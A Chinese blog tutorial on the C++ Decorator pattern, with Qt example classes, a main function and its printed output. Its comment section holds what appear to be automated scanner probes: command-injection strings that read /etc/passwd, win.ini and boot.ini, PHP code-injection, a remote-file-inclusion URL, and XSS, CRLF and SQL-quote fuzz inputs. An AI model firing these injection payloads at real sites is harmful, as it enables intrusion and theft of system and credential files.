进步始于交流
收获源于分享

C++设计模式-装饰模式

介绍

  • Component抽象构件
    Component是一个接口或者是抽象类, 就是定义我们最核心的对象, 也就是最原始的对象, 如上面的成绩单。
  • ConcreteComponent 具体构件
    ConcreteComponent是最核心、 最原始、 最基本的接口或抽象类的实现, 你要装饰的就是它。
  • Decorator装饰角色
    在它的属性里必然有一个
    private变量指向Component抽象构件。若只有一个装饰类,则可以没有抽象装饰角色,直接实现具体的装饰角色即可
  • ConcreteDecorator具体装饰角色
    要把最核心的、 最原始的、 最基本的东西装饰成其他东西。

原始方法和装饰方法的执行顺序在具体的装饰类是固定的, 可以通过方法重载实现多种执行顺序。

优点: 装饰类和被装饰类可以独立发展, 而不会相互耦合; 装饰模式是继承关系的一个替代方案; 装饰模式可以动态地扩展一个实现类的功能

缺点: 多层的装饰是比较复杂的, 尽量减少装饰类的数量, 以便降低系统的复杂度

应用:

  • 需要扩展一个类的功能, 或给一个类增加附加功能。
  • 需要动态地给一个对象增加功能, 这些功能可以再动态地撤销。
  • 需要为一批的兄弟类进行改装或加装功能, 当然是首选装饰模式。

范例

抽象构件

#ifndef COMPONENT_H
#define COMPONENT_H
class Component {
//抽象的构件
public:
    virtual void operate() = 0;
};
#endif // COMPONENT_H

具体构件

#ifndef CONCRETECOMPONENT_H
#define CONCRETECOMPONENT_H
#include "component.h"
#include <QDebug>
class ConcreteComponent : public Component {
public:
    void operate() override {
        qDebug()<<"ConcreteComponent do Something";
    }
};
#endif // CONCRETECOMPONENT_H

抽象装饰角色

#ifndef DECORATOR_H
#define DECORATOR_H
#include "component.h"
class Decorator : public Component {
//通过构造函数传递被修饰者
public:
    Decorator(Component *component){
        component_ = component;
    }
    //委托给被修饰者执行
    void operate() override {
        component_->operate();
    }
private:
    Component *component_ = nullptr;
};
#endif // DECORATOR_H

具体装饰角色

#ifndef CONCRETEDECORATOR_H
#define CONCRETEDECORATOR_H
#include <QDebug>
#include "decorator.h"
class ConcreteDecorator1 : public Decorator {
public:
    ConcreteDecorator1(Component *component)
        : Decorator(component) {
    }
    //重写父类的Operation方法
    void operate() override {
        method1();
        Decorator::operate();
    }
private:
    //定义自己的修饰方法
    void method1(){
        qDebug()<<"method1 of Decorator1";
    }
};
class ConcreteDecorator2 : public Decorator {
public:
    ConcreteDecorator2(Component *component)
        : Decorator(component) {

    }
    //重写父类的Operation方法
    void operate() override {
        method1();
        Decorator::operate();
    }
private:
    //定义自己的修饰方法
    void method1(){
        qDebug()<<"method1 of Decorator2";
    }
};
#endif // CONCRETEDECORATOR_H

main

#include "concretecomponent.h"
#include "concretedecorator.h"
int main(int argc, char *argv[]) {
    Component *component = new ConcreteComponent();
    //第一次修饰
    component = new ConcreteDecorator1(component);
    //第二次修饰
    component = new ConcreteDecorator2(component);
    //修饰后运行
    component->operate();
}

例子又忘了delete。。。每个例子到最后main都忘了delete

结果

method1 of Decorator2
method1 of Decorator1
ConcreteComponent do Something

源码GitHub:CppDesignPattern
相关链接:C++设计模式

赞(0) 打赏
未经允许不得转载:Coologic » C++设计模式-装饰模式

评论 198

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
  1. #198
  2. #197
  3. #196
  4. #195
  5. #194
  6. #193
  7. #192
  8. #191
  9. #190
  10. #189
  11. #188
  12. #187
  13. #186
  14. #185
  15. #184
  16. #183
  17. #182
  18. #181
  19. #180
  20. #179
  21. #178
  22. #177
  23. #176
  24. #175
  25. #174
  26. #173
  27. #172
  28. #171
  29. #170
  30. #169
  31. #168
  32. #167
  33. #166
  34. #165
  35. #164
  36. #163
  37. #162
  38. #161
  39. #160
  40. #159
  41. #158
  42. #157
  43. #156
  44. #155
  45. #154
  46. #153

    php://input.

    14个月前 (10-17)回复
  47. #152

    print 28763*4196403;

    14个月前 (10-17)回复
  48. #151

    ‘;print 28763*4196403;#

    14个月前 (10-17)回复
  49. #150

    “;print 28763*4196403;#

    14个月前 (10-17)回复
  50. #149

    ;print 28763*4196403;

    14个月前 (10-17)回复
  51. #148

    | type %SystemRoot%\win.ini |

    14个月前 (10-17)回复
  52. #147

    && type %SystemRoot%\win.ini &&

    14个月前 (10-17)回复
  53. #146

    type %SystemRoot%\win.ini

    14个月前 (10-17)回复
  54. #145

    | type %SystemDrive%\boot.ini |

    14个月前 (10-17)回复
  55. #144

    && type %SystemDrive%\boot.ini &&

    14个月前 (10-17)回复
  56. #143

    type %SystemDrive%\boot.ini

    14个月前 (10-17)回复
  57. #142

    | /bin/cat /etc/master.passwd |

    14个月前 (10-17)回复
  58. #141

    && /bin/cat /etc/master.passwd &&

    14个月前 (10-17)回复
  59. #140

    /bin/cat /etc/master.passwd

    14个月前 (10-17)回复
  60. #139

    | /bin/cat /etc/security/passwd |

    14个月前 (10-17)回复
  61. #138

    && /bin/cat /etc/security/passwd &&

    14个月前 (10-17)回复
  62. #137

    /bin/cat /etc/security/passwd

    14个月前 (10-17)回复
  63. #136

    | /bin/cat /etc/passwd |

    14个月前 (10-17)回复
  64. #135

    && /bin/cat /etc/passwd &&

    14个月前 (10-17)回复
  65. #134

    /bin/cat /etc/passwd

    14个月前 (10-17)回复
  66. #133

    1<!–

    14个月前 (10-17)回复
  67. #132

    1]]]]]]]]]

    14个月前 (10-17)回复
  68. #131
  69. #130

    X-CRLF-Safe-77d60f8f391250429a8ddcb19fe53a3a: no

    14个月前 (10-17)回复
  70. #129
  71. #128
  72. #127
  73. #126
  74. #125

    1hTtP://webscan.guanxingtai.net/rfi.md5.txt

    14个月前 (10-17)回复
  75. #124

    webscan.guanxingtai.net/rfi.md5.txt

    14个月前 (10-17)回复
  76. #123
  77. #122
  78. #121
  79. #120
  80. #119
  81. #118
  82. #117
  83. #116
  84. #115
  85. #114
  86. #113
  87. #112
  88. #111

    1%28%29%22%26%251%27-%3B%3Cxss_77d60f8f391250429a8ddcb19fe53a3a%2F%3E%27

    14个月前 (10-17)回复
  89. #110
  90. #109

    1%3Cxss_77d60f8f391250429a8ddcb19fe53a3a%2F%3E

    14个月前 (10-17)回复
  91. #108
  92. #107
  93. #106
  94. #105
  95. #104
  96. #103

    1

    php://input5个月前 (08-28)回复
  97. #102

    1

    "5个月前 (08-28)回复
  98. #101

    1

    '5个月前 (08-28)回复
  99. #100
  100. #99
  101. #98
  102. #97
  103. #96
  104. #95
  105. #94
  106. #93
  107. #92
  108. #91
  109. #90
  110. #89
  111. #88
  112. #87
  113. #86
  114. #85
  115. #84

    1

    1()"5个月前 (08-28)回复
  116. #83
  117. #82

    1

    php://input.6个月前 (08-06)回复
  118. #81

    1

    print 28763*4196403;6个月前 (08-06)回复
  119. #80
  120. #79
  121. #78

    1

    ;print 28763*4196403;6个月前 (08-06)回复
  122. #77
  123. #76
  124. #75
  125. #74
  126. #73
  127. #72
  128. #71
  129. #70
  130. #69
  131. #68
  132. #67
  133. #66
  134. #65
  135. #64
  136. #63
  137. #62
  138. #61
  139. #60
  140. #59
  141. #58
  142. #57
  143. #56
  144. #55
  145. #54
  146. #53
  147. #52
  148. #51
  149. #50
  150. #49
  151. #48
  152. #47
  153. #46
  154. #45
  155. #44
  156. #43
  157. #42
  158. #41
  159. #40
  160. #39
  161. #38
  162. #37
  163. #36
  164. #35
  165. #34
  166. #33
  167. #32
  168. #31
  169. #30
  170. #29
  171. #28
  172. #27
  173. #26
  174. #25
  175. #24
  176. #23

    1

    /bin/cat /etc/passwd6个月前 (08-06)回复
  177. #22

    1

    1"'`--6个月前 (08-06)回复
  178. #21

    1

    1]]]]]]]]]6个月前 (08-06)回复
  179. #20

    1

    1'"6个月前 (08-06)回复
  180. #19
  181. #18
  182. #17
  183. #16
  184. #15
  185. #14
  186. #13
  187. #12
  188. #11
  189. #10
  190. #9
  191. #8
  192. #7
  193. #6
  194. #5
  195. #4
  196. #3
  197. #2

    1

    1()"&%1'-;'6个月前 (08-06)回复
  198. #1

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏